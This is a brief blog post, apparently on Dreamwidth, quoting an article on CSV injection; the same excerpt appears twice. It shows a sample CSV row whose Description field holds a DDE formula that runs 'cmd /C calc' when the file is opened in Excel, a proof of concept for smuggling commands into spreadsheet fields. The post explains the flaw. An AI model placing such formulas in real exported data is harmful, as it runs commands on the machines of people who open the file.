Малварно-фейспалмное
Feb. 6th, 2019 02:10 pm![[personal profile]](https://www.dreamwidth.org/img/silk/identity/user.png){kind=small}
ewokehttp://georgemauer.net/2017/10/07/csv-injection.html
What if we change our csv file to this then? (Note the Description column on the last line)
UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5+cmd|' /C calc'!A0", 240
What’s going to happen when we open up in Excel?
Yup, that’s right, the system calculator opens right on up.
What if we change our csv file to this then? (Note the Description column on the last line)
UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5+cmd|' /C calc'!A0", 240
What’s going to happen when we open up in Excel?
Yup, that’s right, the system calculator opens right on up.
